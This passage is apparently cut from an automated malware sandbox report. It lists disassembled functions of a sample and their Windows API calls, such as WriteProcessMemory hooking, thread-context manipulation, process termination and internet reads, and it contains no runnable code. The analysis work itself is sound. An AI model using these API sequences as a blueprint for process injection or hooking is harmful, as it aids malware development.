      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
      • Part of subcall function 00BB9ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00BB9EEB
      • Part of subcall function 00BB9ED7: CloseHandle.KERNEL32 ref: 00BB9EF6
      • Part of subcall function 00BBBD28: GetLastError.KERNEL32(?,00BCAE06), ref: 00BBBD2B
      • Part of subcall function 00BBBD28: CloseHandle.KERNEL32 ref: 00BBBD39
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00BCAEBD
      • Part of subcall function 00BBBD18: ReleaseMutex.KERNEL32 ref: 00BBBD1C
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042ACD8, Relevance: 7.7, APIs: 5, Instructions: 162
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
    • GetCurrentThread.KERNEL32 ref: 0042ACF9
    • SetThreadPriority.KERNEL32 ref: 0042AD00
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 0042AD1E
      • Part of subcall function 00425B94: RegOpenKeyExW.ADVAPI32(80000001,00434028,00000000,00000001,?), ref: 00425BD3
    • CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 0042ADF7
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
      • Part of subcall function 00419ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00419EEB
      • Part of subcall function 00419ED7: CloseHandle.KERNEL32 ref: 00419EF6
      • Part of subcall function 0041BD28: GetLastError.KERNEL32(?,0042AE06), ref: 0041BD2B
      • Part of subcall function 0041BD28: CloseHandle.KERNEL32 ref: 0041BD39
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 0042AEBD
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040DFD7, Relevance: 7.7, APIs: 5, Instructions: 159
    APIs
    • GlobalFree.KERNEL32 ref: 0040DFD7
    • RegCreateKeyW.ADVAPI32 ref: 0040DFDD
    • GetWindowLongW.USER32 ref: 0040DFE3
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040B4AF, Relevance: 7.6, APIs: 5, Instructions: 130
    APIs
    • GetFileTitleW.COMDLG32 ref: 0040B4AF
    • GetTimeFormatW.KERNEL32 ref: 0040B4B5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040B548
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040B5D4
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040B84E
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040B4F1, Relevance: 7.6, APIs: 5, Instructions: 118
    APIs
    • MessageBoxW.USER32 ref: 0040B4F1
    • MessageBeep.USER32 ref: 0040B4F7
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040B548
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040B5D4
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040B84E
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBE587, Relevance: 7.6, APIs: 5, Instructions: 111
    APIs
    • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 00BBE5A8
      • Part of subcall function 00BBD92E: GetFileSizeEx.KERNEL32(?,?), ref: 00BBD93A
    • ReadFile.KERNEL32(?,?,00000005,?,00000000), ref: 00BBE5E9
    • CloseHandle.KERNEL32 ref: 00BBE5F5
    • ReadFile.KERNEL32(?,?,00000005,00000005,00000000), ref: 00BBE664
    • SetEndOfFile.KERNEL32 ref: 00BBE68A
      • Part of subcall function 00BBD8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00BBD8F0
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041E587, Relevance: 7.6, APIs: 5, Instructions: 111
    APIs
    • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 0041E5A8
      • Part of subcall function 0041D92E: GetFileSizeEx.KERNEL32(?,?), ref: 0041D93A
    • ReadFile.KERNEL32(?,?,00000005,?,00000000), ref: 0041E5E9
    • CloseHandle.KERNEL32 ref: 0041E5F5
    • ReadFile.KERNEL32(?,?,00000005,00000005,00000000), ref: 0041E664
    • SetEndOfFile.KERNEL32 ref: 0041E68A
      • Part of subcall function 0041D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041D8F0
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC678A, Relevance: 7.6, APIs: 5, Instructions: 110
    APIs
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • GetProcessId.KERNEL32(?), ref: 00BC67F4
      • Part of subcall function 00BB4EBF: CharLowerW.USER32 ref: 00BB4EF2
      • Part of subcall function 00BA7E34: CreateMutexW.KERNEL32(00BD2AFC,00000001,?), ref: 00BA7E7C
      • Part of subcall function 00BA7F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00BA7F40
      • Part of subcall function 00BA7F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 00BA802C
    • GetThreadContext.KERNEL32(00000000,?), ref: 00BC689C
    • SetThreadContext.KERNEL32(00000000,00010003), ref: 00BC68DC
    • VirtualFreeEx.KERNEL32(?,00000001,00000000,00008000), ref: 00BC68F2
    • CloseHandle.KERNEL32(?), ref: 00BC68FB
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042678A, Relevance: 7.6, APIs: 5, Instructions: 110
    APIs
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetProcessId.KERNEL32(?), ref: 004267F4
      • Part of subcall function 00414EBF: CharLowerW.USER32 ref: 00414EF2
      • Part of subcall function 00407E34: CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00407E7C
      • Part of subcall function 00407F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 00407F40
      • Part of subcall function 00407F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 0040802C
    • GetThreadContext.KERNEL32(00000000,?), ref: 0042689C
    • SetThreadContext.KERNEL32(00000000,00010003), ref: 004268DC
    • VirtualFreeEx.KERNEL32(?,00000001,00000000,00008000), ref: 004268F2
    • CloseHandle.KERNEL32(?), ref: 004268FB
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBCD7C, Relevance: 7.6, APIs: 5, Instructions: 108
    APIs
      • Part of subcall function 00BBCD37: VirtualQueryEx.KERNEL32(000000FF,?,?,0000001C), ref: 00BBCD4C
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 00BBCDA9
    • ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 00BBCDCE
    • WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00BBCE47
    • WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 00BBCE6F
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 00BBCE86
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041CD7C, Relevance: 7.6, APIs: 5, Instructions: 108
    APIs
      • Part of subcall function 0041CD37: VirtualQueryEx.KERNEL32(000000FF,?,?,0000001C), ref: 0041CD4C
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 0041CDA9
    • ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 0041CDCE
    • WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 0041CE47
    • WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 0041CE6F
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 0041CE86
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004135CE, Relevance: 7.6, APIs: 5, Instructions: 104
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040C366, Relevance: 7.6, APIs: 5, Instructions: 100
    APIs
    • GetTextFaceW.GDI32 ref: 0040C366
    • SetFocus.USER32 ref: 0040C36C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040C396
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C4BE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C53C
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BBFA1C, Relevance: 7.6, APIs: 5, Instructions: 99
    APIs
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • GetDIBits.GDI32(00BD45C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00BBFA54
    • GetDIBits.GDI32(00BD45C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00BBFA6A
    • DeleteObject.GDI32(00000002), ref: 00BBFA77
    • CreateDIBSection.GDI32(00BD45C0,?,00000000,00000000,00000000,00000000), ref: 00BBFAE7
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • DeleteObject.GDI32(00000002), ref: 00BBFB06
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041FA1C, Relevance: 7.6, APIs: 5, Instructions: 99
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA54
    • GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA6A
    • DeleteObject.GDI32(00000002), ref: 0041FA77
    • CreateDIBSection.GDI32(004345C0,?,00000000,00000000,00000000,00000000), ref: 0041FAE7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • DeleteObject.GDI32(00000002), ref: 0041FB06
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040B567, Relevance: 7.6, APIs: 5, Instructions: 97
    APIs
    • SendMessageW.USER32 ref: 0040B567
    • GetFileTitleW.COMDLG32 ref: 0040B56D
    • FindClose.KERNEL32 ref: 0040B573
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040B5D4
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040B84E
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040CA8E, Relevance: 7.6, APIs: 5, Instructions: 96
    APIs
    • SetEndOfFile.KERNEL32 ref: 0040CA8E
    • SetViewportExtEx.GDI32 ref: 0040CA94
    • SetLastError.KERNEL32 ref: 0040CA9A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040CCC9
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040CD2D
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040EB86, Relevance: 7.6, APIs: 5, Instructions: 92
    APIs
    • CreateDCW.GDI32 ref: 0040EB86
    • DefWindowProcW.USER32 ref: 0040EB8C
    • PageSetupDlgW.COMDLG32 ref: 0040EB92
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC7784, Relevance: 7.6, APIs: 5, Instructions: 89
    APIs
    • ResetEvent.KERNEL32(?), ref: 00BC778F
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • InternetSetStatusCallbackW.WININET(?,00BC775B), ref: 00BC77BF
    • InternetReadFileExA.WININET(?,?,00000008,00000000), ref: 00BC77F7
    • GetLastError.KERNEL32 ref: 00BC7801
      • Part of subcall function 00BBBCB2: TranslateMessage.USER32(?), ref: 00BBBCD4
      • Part of subcall function 00BBBCB2: DispatchMessageW.USER32(?), ref: 00BBBCDF
      • Part of subcall function 00BBBCB2: PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00BBBCEF
      • Part of subcall function 00BBBCB2: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00BBBD03
    • InternetSetStatusCallbackW.WININET(?,?), ref: 00BC785A
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BB80EB: HeapAlloc.KERNEL32(00000008,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?,?), ref: 00BB810D
      • Part of subcall function 00BB80EB: HeapReAlloc.KERNEL32(00000008,?,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?), ref: 00BB811E
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00427784, Relevance: 7.6, APIs: 5, Instructions: 89
    APIs
    • ResetEvent.KERNEL32(?), ref: 0042778F
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • InternetSetStatusCallbackW.WININET(?,0042775B), ref: 004277BF
    • InternetReadFileExA.WININET(?,?,00000008,00000000), ref: 004277F7
    • GetLastError.KERNEL32 ref: 00427801
      • Part of subcall function 0041BCB2: TranslateMessage.USER32(?), ref: 0041BCD4
      • Part of subcall function 0041BCB2: DispatchMessageW.USER32(?), ref: 0041BCDF
      • Part of subcall function 0041BCB2: PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0041BCEF
      • Part of subcall function 0041BCB2: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0041BD03
    • InternetSetStatusCallbackW.WININET(?,?), ref: 0042785A
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004081DA, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
    • LoadIconW.USER32 ref: 004081DA
    • GetMenu.USER32 ref: 004081E0
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BA8D90, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00BA8DDB
    • WriteFile.KERNEL32(?,?,000001DF,?,00000000), ref: 00BA8E19
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00BA8E3D
    • FlushFileBuffers.KERNEL32(?), ref: 00BA8E51
    • CloseHandle.KERNEL32(?), ref: 00BA8E5A
      • Part of subcall function 00BBD955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBD95E
      • Part of subcall function 00BBD955: DeleteFileW.KERNEL32(?), ref: 00BBD968
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00408D90, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00408DDB
    • WriteFile.KERNEL32(?,?,000001DF,?,00000000), ref: 00408E19
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00408E3D
    • FlushFileBuffers.KERNEL32(?), ref: 00408E51
    • CloseHandle.KERNEL32(?), ref: 00408E5A
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB4CD7, Relevance: 7.6, APIs: 5, Instructions: 80
    APIs
    • GetWindowInfo.USER32(?,?), ref: 00BB4CF6
    • IntersectRect.USER32(?,?), ref: 00BB4D34
    • IsRectEmpty.USER32(?), ref: 00BB4D46
    • IntersectRect.USER32(?,?), ref: 00BB4D5D
      • Part of subcall function 00BB4B5A: GetWindowThreadProcessId.USER32(?,?), ref: 00BB4B85
      • Part of subcall function 00BB4B5A: ResetEvent.KERNEL32(?), ref: 00BB4BCD
      • Part of subcall function 00BB4B5A: PostMessageW.USER32(?,?), ref: 00BB4BF7
      • Part of subcall function 00BB4B5A: WaitForSingleObject.KERNEL32(?,00000064), ref: 00BB4C06
      • Part of subcall function 00BB4B5A: ResetEvent.KERNEL32(?), ref: 00BB4C31
      • Part of subcall function 00BB4B5A: PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00BB4C45
      • Part of subcall function 00BB4B5A: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00BB4C57
      • Part of subcall function 00BB4B5A: TerminateProcess.KERNEL32(?,00000000), ref: 00BB4C7A
      • Part of subcall function 00BB4B5A: IntersectRect.USER32(?,?,?), ref: 00BB4CA2
      • Part of subcall function 00BB4B5A: FillRect.USER32(?,?,00000006), ref: 00BB4CB4
      • Part of subcall function 00BB4B5A: DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00BB4CC8
    • GetTopWindow.USER32(?), ref: 00BB4D8C
      • Part of subcall function 00BBCC46: GetWindow.USER32(?,00000001), ref: 00BBCC68
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00414CD7, Relevance: 7.6, APIs: 5, Instructions: 80
    APIs
    • GetWindowInfo.USER32(?,?), ref: 00414CF6
    • IntersectRect.USER32(?,?), ref: 00414D34
    • IsRectEmpty.USER32(?), ref: 00414D46
    • IntersectRect.USER32(?,?), ref: 00414D5D
      • Part of subcall function 00414B5A: GetWindowThreadProcessId.USER32(?,?), ref: 00414B85
      • Part of subcall function 00414B5A: ResetEvent.KERNEL32(?), ref: 00414BCD
      • Part of subcall function 00414B5A: PostMessageW.USER32(?,?), ref: 00414BF7
      • Part of subcall function 00414B5A: WaitForSingleObject.KERNEL32(?,00000064), ref: 00414C06
      • Part of subcall function 00414B5A: ResetEvent.KERNEL32(?), ref: 00414C31
      • Part of subcall function 00414B5A: PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00414C45
      • Part of subcall function 00414B5A: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414C57
      • Part of subcall function 00414B5A: TerminateProcess.KERNEL32(?,00000000), ref: 00414C7A
      • Part of subcall function 00414B5A: IntersectRect.USER32(?,?,?), ref: 00414CA2
      • Part of subcall function 00414B5A: FillRect.USER32(?,?,00000006), ref: 00414CB4
      • Part of subcall function 00414B5A: DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00414CC8
    • GetTopWindow.USER32(?), ref: 00414D8C
      • Part of subcall function 0041CC46: GetWindow.USER32(?,00000001), ref: 0041CC68
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
